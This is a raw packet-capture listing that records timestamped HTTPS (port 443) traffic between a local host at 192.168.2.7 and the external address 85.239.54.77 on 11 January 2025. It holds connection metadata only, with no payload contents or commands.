Jan 11, 2025 09:26:43.118765116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.118781090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.119504929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.119519949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.119553089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.119560003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.119580030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.119601965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.120129108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.120143890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.120189905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.120193005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.120201111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.120213985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.120239019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.120244980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.120269060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.120280027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.120995998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.121012926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.121052027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.121058941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.122554064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.127415895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.128664970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.128684998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.128757000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.128766060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.128797054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.136607885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.204021931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204045057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204163074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.204184055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204472065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204494953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204528093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.204534054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204551935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.204574108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.204925060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204941034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.204971075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.204974890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.205001116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.205009937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.205638885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.205653906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.205708027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.205713987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.206110001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.206127882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.206160069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.206166983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.206188917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.206209898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.206727982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.206743002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.206789970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.206796885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.207379103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.207398891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.207432032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.207437038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.207463980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.207484961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.213253975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.215466976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.215500116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.215651035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.215661049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.215708971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.221921921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.290918112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.290946007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.291032076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.291049004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.291120052 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.291450024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.291466951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.291507006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.291513920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.291605949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.291963100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.291977882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.292047977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.292054892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.292094946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.292143106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.292258024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.292273998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.292332888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.292340040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.293018103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.293036938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.293081045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.293087959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.293112993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.293140888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.293539047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.293551922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.293600082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.293606043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.294181108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.294199944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.294243097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.294250011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.294261932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.294291973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.301058054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.302242994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.302264929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.302403927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.302412987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.302447081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.310774088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.377937078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.377962112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.378009081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.378037930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.378113985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.378175020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.378354073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.378371954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.378424883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.378433943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.378489971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.378864050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.378881931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.378962994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.378968954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.379343987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.379367113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.379403114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.379410982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.379431009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.379470110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.379832983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.379848957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.379905939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.379913092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.380264997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.380285025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.380336046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.380342007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.380359888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.380386114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.380723000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.380780935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.380800009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.380805969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.380822897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.380837917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.388058901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.389318943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.389338970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.389381886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.389389992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.389414072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.389441967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.398726940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.464679003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.464699030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.464780092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.464806080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.464975119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.465100050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.465114117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.465153933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.465163946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.465183973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.465209961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.465755939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.465771914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.465842962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.465850115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.465915918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.466272116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.466289043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.466341019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.466347933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.466373920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.466393948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.466835022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.466850996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.466877937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.466882944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.466912985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.466923952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.467525005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.467540979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.467586040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.467592001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.467602968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.467633009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.467672110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.467673063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.467673063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.467684031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.467731953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.474877119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.476133108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.476150990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.476217985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.476227999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.476286888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.484667063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.551512957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.551567078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.551619053 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.551639080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.551675081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.551693916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.551964045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552006006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552040100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.552046061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552098036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.552098036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.552284956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552342892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552344084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.552375078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552817106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.552941084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552956104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.552989006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.552995920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.553009033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.553030968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.553622007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.553659916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.553736925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.553745031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.554141998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.554174900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.554212093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.554218054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.554231882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.554265022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.554759979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.554775953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.554816008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.554822922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.558439016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.561759949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.562980890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.563004971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.563050985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.563064098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.563229084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.572745085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.638346910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.638408899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.638603926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.638633966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.638952017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.639007092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.639041901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.639049053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.639069080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.639096975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.639410019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.639452934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.639480114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.639498949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.639528036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.639772892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.640017986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.640062094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.640083075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.640091896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.640120983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.640139103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.640543938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.640583992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.640613079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.640619040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.640639067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.640666008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.641161919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.641204119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.641263008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.641271114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.641300917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.641323090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.641689062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.641727924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.641758919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.641766071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.641793966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.641814947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.649945974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.649992943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.650041103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.650062084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.650089025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.650113106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.651050091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.725147009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.725217104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.725275993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.725298882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.725327015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.725336075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.725474119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.725533009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.725550890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.725560904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.725578070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.725600004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.727001905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.727044106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.727073908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.727080107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.727116108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.727134943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.729468107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.729516983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.729578018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.729585886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.729607105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.729625940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.729742050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.729784966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.729815006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.729821920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.729844093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.729857922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.729928970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.729968071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.730000973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.730007887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.730026960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.730046988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.730079889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.730123997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.730143070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.730149984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.730210066 CET	49941	443	192.168.2.7	85.239.54.77
